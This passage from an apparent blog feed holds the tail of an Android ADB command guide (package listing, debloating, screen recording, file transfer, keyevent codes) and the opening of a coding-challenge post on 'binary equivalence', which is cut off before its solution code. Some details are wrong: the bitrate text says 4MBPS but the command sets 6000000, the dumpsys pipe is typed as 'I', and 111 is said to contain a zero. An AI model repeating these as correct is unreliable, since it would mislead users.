<p>After creating a backup, its time to know how to restore. Restoring the backup to the phone via ADB commands is super easy, and you just need to enter the command given below. Make sure to change the &lsquo;backup-file-location&rsquo; with the location where you backup has been saved.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>adb restore backup-file-location
</span></span></code></pre></div><h2 id="installing-multiple-apps">Installing Multiple Apps</h2>
<p>If you are trying to sideload one or two apps, then manual installation is the best way. However, if you have more than 20 apps to install, then you need to take the help of ADB. With the help of ADB, you can easily install multiple Apk files on your Android smartphone. You can use the adb devices command given below to install multiple apk files at once on Android.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span><span style="color:#66d9ef">for</span> %f in <span style="color:#f92672">(</span>folder-path*.apk<span style="color:#f92672">)</span> <span style="color:#66d9ef">do</span> adb install %f
</span></span></code></pre></div><p>Make sure to change the &lsquo;Folder-path&rsquo; with your file destination.</p>
<h2 id="list-apps">List Apps</h2>
<p>You can print the list of the app package names for all apps installed on your Android device. You can use this command with different parameters to get a more specific list of app packages.</p>
<p>For instance, if you want to list the system apps only, use</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>adb shell pm list packages -s
</span></span></code></pre></div><p>In order to list all third-party apps installed on your Android phone or tablet, you issue the following command.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>adb shell pm list packages -3
</span></span></code></pre></div><p>If you want ADB Shell to show the list of all enabled or disabled apps on your device, try the command with parameters like <code>-d</code> (for disabled apps), <code>-e</code> (for enabled apps), and <code>-u</code> (for uninstalled apps).</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>adb shell pm list packages -d
</span></span></code></pre></div><div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>adb shell pm list packages -e
</span></span></code></pre></div><div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>adb shell pm list packages -u
</span></span></code></pre></div><p>To list app packages with specific keywords filters.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>adb shell pm list packages &lt;keywords&gt;
</span></span></code></pre></div><p>To find the list of apps along with their associated packages, execute the following command</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>adb shell pm list packages -f
</span></span></code></pre></div><p>You can easily get a list of group packages by a certain manufacturer, or come common term. For instance, if you want to list all apps by Google, you can use the following command.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>adb shell pm list packages | grep <span style="color:#e6db74">&#39;google&#39;</span>
</span></span></code></pre></div><p>You can replace “google” with “samsung”, “huawei”, “xiaomi”, “miui”, “evenwell”, “android”, “facebook”, etc. to get desired list of packages.</p>
<h2 id="uninstall-system-app">Uninstall System App</h2>
<p>Well, there some bloatwares that doesn&rsquo;t uninstall unless you root your device. However, you can uninstall those system apps through adb commands. So, to uninstall an app, you need to execute the following command. However, make sure to replace the <code>package-name</code> with the actual package you got from previous step.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>adb shell pm uninstall --user <span style="color:#ae81ff">0</span> <span style="color:#e6db74">&#34;package-name&#34;</span>
</span></span></code></pre></div><h2 id="reinstall-uninstalled-system-app">Reinstall Uninstalled System App</h2>
<p>If you want to reinstall system app which you have unknowingly uninstalled in previous step. You can reinstall same apps again, provided you have exact name of the package.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>adb shell cmd package install-existing <span style="color:#e6db74">&#34;package-name&#34;</span>
</span></span></code></pre></div><h2 id="disable-system-app">Disable System App</h2>
<p>The problem with uninstalling system app is twofold:</p>
<ul>
<li>it doesn’t actually fully uninstall the app and return space to the user and</li>
<li>reverting the change requires you to either sideload the APK (if you can find it) or factory reset.</li>
</ul>
<p>Still, previous method is quite useful and dozens of forum posts and user scripts taking advantage of it to debloat new Android devices. To help you debloat your device in a safer way, we will look at another method that will not only disable the pre-installed bloatware of your choosing but also make it super easy to re-enable them at your convenience, making any mistake a lot easier to recover from. However, make sure to replace the <code>package-name</code> with the actual package you got from list packages step.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>adb shell pm disable-user --user <span style="color:#ae81ff">0</span> <span style="color:#e6db74">&#34;package-name&#34;</span>
</span></span></code></pre></div><h2 id="re-enable-disabled-system-app">Re-enable Disabled System App</h2>
<p>What if you disabled an app and want it back? It’s very easy to re-enable the app! First, go to Settings &gt; Apps and look at the “All apps” list (it may be located somewhere different on your device.) Usually, you can filter here to see the names of all disabled apps. Once you know what app you want to re-enable, follow these steps:</p>
<ol>
<li>This command lists all disabled packages. Find the package name that corresponds to the app you want to re-enable.</li>
</ol>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>adb shell pm list packages -d
</span></span></code></pre></div><ol start="2">
<li>Now, just run the following command to re-enable one of them:</li>
</ol>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>adb shell pm enable <span style="color:#e6db74">&#34;package-name&#34;</span>
</span></span></code></pre></div><h2 id="hide-apps">Hide Apps</h2>
<p>This command will hide the app from the launcher.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>adb shell pm hide --user <span style="color:#ae81ff">0</span> <span style="color:#e6db74">&#34;package-name&#34;</span>
</span></span></code></pre></div><h2 id="record-screen">Record Screen</h2>
<p>You will find tons of screen recorder apps on the Google Play Store. These screen recording tools often come with few bugs, and it annoys a lot by showing ads. Moreover, third-party screen recorders put watermarks on your recorded videos. However, all hassles end with ADB. You can use ADB to record your Android screen. You just need to enter the following command given below to record screen without using an app. Besides, you can also set conditions like video duration, resolution in pixels and video bitrate, etc.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>adb shell screenrecord folder-path/ filename.mp4
</span></span></code></pre></div><p>You can stop screen recording using Ctrl+C. In case you want to record the screen in a specific resolution, the following command lets you set custom width and height in pixels.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>adb shell screenrecord --size 1920x1080 folder-path/ filename.mp4
</span></span></code></pre></div><p>By default, Android’s screen recorder’s duration is set to 180 seconds (3 minutes). You can decrease this time limit according to your needs (180 seconds is the maximum limit).</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>adb shell screenrecord --time-limit <span style="color:#ae81ff">120</span> folder-path/ filename.mp4
</span></span></code></pre></div><p>Similarly, you can also determine the bitrate of the video output. To set the bitrate to 4MBPS, for example, you can use the following value:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>adb shell screenrecord --bit-rate <span style="color:#ae81ff">6000000</span> folder-path/ filename.mp4
</span></span></code></pre></div><p>Make sure to change the &lsquo;Folder-path&rsquo; and `filename&rsquo; before executing the command.</p>
<h2 id="get-system-information">Get System Information</h2>
<p>Developers use a shell command known as dumpsys to grab system information. You can also use the same command to get detailed information about your smartphone&rsquo;s system. The command also throws lights on the hardware information as well. You need to enter the following command to get system stats and info. The command will list out all commands that you can use with dumpsys to grab information. You can later use those command to get the most accurate hardware or software information.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>adb shell dumpsys I grep DUMP OF SERVICE
</span></span></code></pre></div><h2 id="take-screenshots">Take Screenshots</h2>
<p>Just like Android screen recording, you can also use ADB commands to take a quick screenshot. If your smartphone doesn&rsquo;t come with a built-in screenshot taker, then you don&rsquo;t need to install any third party app. You need to use the following command to take a screenshot on your Android.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>adb shell screencap -p /path/to/ screenshot.png
</span></span></code></pre></div><p>Make sure to replace the &ldquo;/path/to/ screenshot&rdquo; with your destination path before executing the command.</p>
<h2 id="reboot-to-recovery-mode">Reboot to Recovery Mode</h2>
<p>If your Android fails to boot, you need to enter the Recovery mode. Normally, Android users need to use some key combination to reach the Recovery mode. However, there&rsquo;s an ADB command available which can force your Android to reboot into Recovery mode. You can use the code given below to Reboot Android into Recovery Mode.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>adb reboot-recovery
</span></span></code></pre></div><h2 id="reboot-to-bootloader">Reboot to Bootloader</h2>
<p>There&rsquo;s an ADB Command which forces the connected device to boot into the bootloader. Bootloader mode is pretty much similar to the fast boot mode. Here&rsquo;s the command to boot your Android into Bootloader.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>adb reboot-bootloader
</span></span></code></pre></div><h2 id="display-the-log-data-on-the-screen">Display the log data on the screen</h2>
<p>If you are searching for an ADB command to display the log data onto the screen, then you need to try the ADB Command given below. this command will display all log data right on the screen.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>adb logcat
</span></span></code></pre></div><h2 id="wait-before-executing-a-command">Wait before executing a command</h2>
<p>If you are searching for an ADB command that can be used to program delay before the next command, then you need to use the given command. This command will automatically execute the next command when the device is ready.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>adb wait-for-device
</span></span></code></pre></div><h2 id="pull-files-from-android-to-computer">Pull Files from Android to Computer</h2>
<p>This is much like a copy paste command for ADB. The command basically pulls any files that are saved on your device and stores it on your computer. Here&rsquo;s the ADB command to pull any files from Android to PC.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>adb pull <span style="color:#f92672">[</span>mention the file path on device<span style="color:#f92672">]</span> <span style="color:#f92672">[</span>mention the destination file path on your Windows<span style="color:#f92672">]</span>
</span></span></code></pre></div><h2 id="copy-files-from-computer-to-android">Copy Files from Computer To Android</h2>
<p>Just like the pull command, push command can be used to transfer files from computer to your smartphone. So, here the command to push a file from your computer to your device.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>adb push <span style="color:#f92672">[</span>mention the file path on computer<span style="color:#f92672">]</span> <span style="color:#f92672">[</span>mention the destination file path on your Android<span style="color:#f92672">]</span>
</span></span></code></pre></div><h2 id="adb-shell-keyevent-commands">ADB Shell KeyEvent commands</h2>
<p>Android devices support KeyEvent commands that can let you perform certain actions that require you to press a hardware button or tap an app or UI option. You can control your Android phone or tablet device simply by using these KeyEvent commands. These commands might come in handy if the hardware keys on your device are not functioning properly due to some damage.</p>
<ul>
<li>Turn Android device ON or OFF:</li>
</ul>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>adb shell input keyevent <span style="color:#ae81ff">2</span> 
</span></span></code></pre></div><ul>
<li>Press Home button:</li>
</ul>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>adb shell input keyevent <span style="color:#ae81ff">3</span> 
</span></span></code></pre></div><ul>
<li>Press Back button:</li>
</ul>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>adb shell input keyevent <span style="color:#ae81ff">4</span> 
</span></span></code></pre></div><ul>
<li>Press Call button:</li>
</ul>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>adb shell input keyevent <span style="color:#ae81ff">5</span> 
</span></span></code></pre></div><ul>
<li>End a call:</li>
</ul>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>adb shell input keyevent <span style="color:#ae81ff">6</span> 
</span></span></code></pre></div><ul>
<li>Press Power Button to wake up screen:</li>
</ul>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>adb shell input keyevent <span style="color:#ae81ff">26</span> 
</span></span></code></pre></div><ul>
<li>Turn ON the camera:</li>
</ul>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>adb shell input keyevent <span style="color:#ae81ff">27</span> 
</span></span></code></pre></div><ul>
<li>Open wen browser:</li>
</ul>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>adb shell input keyevent <span style="color:#ae81ff">64</span> 
</span></span></code></pre></div><ul>
<li>Press the Enter key:</li>
</ul>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>adb shell input keyevent <span style="color:#ae81ff">66</span> 
</span></span></code></pre></div><ul>
<li>Press Backspace button:</li>
</ul>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>adb shell input keyevent <span style="color:#ae81ff">67</span> 
</span></span></code></pre></div><ul>
<li>Open Contacts app:</li>
</ul>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>adb shell input keyevent <span style="color:#ae81ff">207</span> 
</span></span></code></pre></div><ul>
<li>Decrease display brightness:</li>
</ul>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>adb shell input keyevent <span style="color:#ae81ff">220</span> 
</span></span></code></pre></div><ul>
<li>Increase Display brightness:</li>
</ul>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>adb shell input keyevent <span style="color:#ae81ff">221</span> 
</span></span></code></pre></div><ul>
<li>Cut text:</li>
</ul>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>adb shell input keyevent <span style="color:#ae81ff">277</span> 
</span></span></code></pre></div><ul>
<li>Copy text:</li>
</ul>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>adb shell input keyevent <span style="color:#ae81ff">278</span> 
</span></span></code></pre></div><ul>
<li>Paste text:</li>
</ul>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>adb shell input keyevent <span style="color:#ae81ff">279</span> 
</span></span></code></pre></div><ul>
<li>Make the device sleep:</li>
</ul>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>adb shell input keyevent KEYCODE_SLEEP 
</span></span></code></pre></div><ul>
<li>Make device wakeup:</li>
</ul>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>adb shell input keyevent KEYCODE_WAKEUP 
</span></span></code></pre></div><ul>
<li>Toggle Power menu:</li>
</ul>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>adb shell input keyevent KEYCODE_POWER 
</span></span></code></pre></div><h2 id="stop-adb-server">Stop ADB Server</h2>
<p>This is the final command which you need to enter after doing all your works. You need to enter the following command to stop the ADB Server that you have started in the very first step. You can enter the following command to Stop ADB Server.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>adb kill-server
</span></span></code></pre></div>]]></content></item><item><title>Crash Code Part-2 (Binary Equivalent)</title><link>https://blzr.sbs/posts/crash-code-2/</link><pubDate>Sun, 02 Jan 2022 00:00:00 +0000</pubDate><guid>https://blzr.sbs/posts/crash-code-2/</guid><description>Trying to solve old coding questions, because reasons</description><content type="html"><![CDATA[<h3 id="problem-description">Problem Description</h3>
<p>Mr. Binary is lost and wants to be found but the problem is he understands only binary.</p>
<p>His house is located at a maximum binary equivalence possible, from the given set of numbers. A set is a binary equivalence if the number of 0 zeros and ones from a set of number are equal.</p>
<h3 id="constraints">Constraints</h3>
<p>1 &lt;= N &lt;= 20</p>
<p>1 &lt;= Arr[i] &lt;= 10^5, where Arr[i] is the ith element in the set of N numbers in second line of input</p>
<p>Arr[i] will be unique</p>
<h3 id="input">Input</h3>
<p>First line contains N denoting the number of decimal numbers</p>
<p>Next line contains N space separated decimal numbers</p>
<h3 id="output">Output</h3>
<p>Single line output printing possible binary equivalence where number of digits in this number is equal to number of bits present in the largest element in second line of input.</p>
<p>If there is no set which has binary equivalence then return 0 padded to number of bits present in the largest element in second line of input.</p>
<h3 id="time-limit">Time Limit</h3>
<p>1</p>
<h3 id="examples">Examples</h3>
<h4 id="example-1">Example 1</h4>
<p>Input 3</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-markdown" data-lang="markdown"><span style="display:flex;"><span>2 7 10
</span></span></code></pre></div><p>Output</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-markdown" data-lang="markdown"><span style="display:flex;"><span>0011
</span></span></code></pre></div><p>Explanation</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-markdown" data-lang="markdown"><span style="display:flex;"><span>2 -&gt; 0010-1&#39;s = 1, 0&#39;s = 3
</span></span><span style="display:flex;"><span>7 -&gt; 0111-1&#39;s = 3, 0&#39;s = 1
</span></span><span style="display:flex;"><span>10-&gt; 1010-1&#39;s = 2, 0&#39;s = 2
</span></span></code></pre></div><p>Here we have taken up to 4 bits because the maximum number is 10 which needs 4 bits to be represented in binary. The number of zeroes and ones across the set is, 6 each. Hence, the set of [2,7,10] has binary equivalence.</p>
<p>Similaly, if you consider set [2,7], it also has binary equivalence, 4 each.</p>
<p>But set [7,10] does not have binary equivalence. Likewise, set[10] has binary equivalence of 2 each.</p>
<p>Total number of unique sets where binary equivalence is possible from all combinations are 3 viz. Sets are [2,7,10], [2,7] and [10] which is the final answer. But as Mr. Binary only understands zeroes and ones, return the binary of 3.</p>
<p>Since 10 is the largest element in the input on line 2, the number of bits required to represent 10 in binary is 4. Hence, output needs to be padded upto 4 digits. Since binary of 3 represented as a 4-digit number is 0011, the answer is 0011</p>

    <aside class="admonition info">
        <div class="admonition-title">
            <div class="icon"><svg xmlns="http://www.w3.org/2000/svg" width="24" height="24" viewBox="0 0 24 24" fill="none" stroke="currentColor"
      stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="feather feather-info">
      <circle cx="12" cy="12" r="10"></circle>
      <line x1="12" y1="16" x2="12" y2="12"></line>
      <line x1="12" y1="8" x2="12.01" y2="8"></line>
   </svg></div><b>Info</b>
        </div>
        <div class="admonition-content">Do not consider empty subset</div>
    </aside>
<h4 id="example-2">Example 2</h4>
<p>Input 1</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-markdown" data-lang="markdown"><span style="display:flex;"><span>7
</span></span></code></pre></div><p>Output</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-markdown" data-lang="markdown"><span style="display:flex;"><span>000
</span></span></code></pre></div><p>Explanation</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-markdown" data-lang="markdown"><span style="display:flex;"><span>7-&gt; 111-1&#39;s = 3,0&#39;s = 1
</span></span></code></pre></div><p>Since there is only one element in the set and it also does not have binary equivalence, the answer is 0. However, keeping output specifications in mind, the answer should be printed as 000 since the highest element in second line of input viz. 7 has 3 bits when represented in binary format.</p>
<h3 id="solve">Solve</h3>
<div class="highlight"><div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;">
<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">  1
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">  2
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">  3
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">  4
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">  5
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">  6
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">  7
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">  8
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">  9
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 10
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 11
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 12
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 13
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 14
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 15
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 16
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 17
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 18
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 19
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 20
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 21
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 22
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 23
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 24
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 25
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 26
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 27
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 28
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 29
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 30
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 31
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 32
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 33
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 34
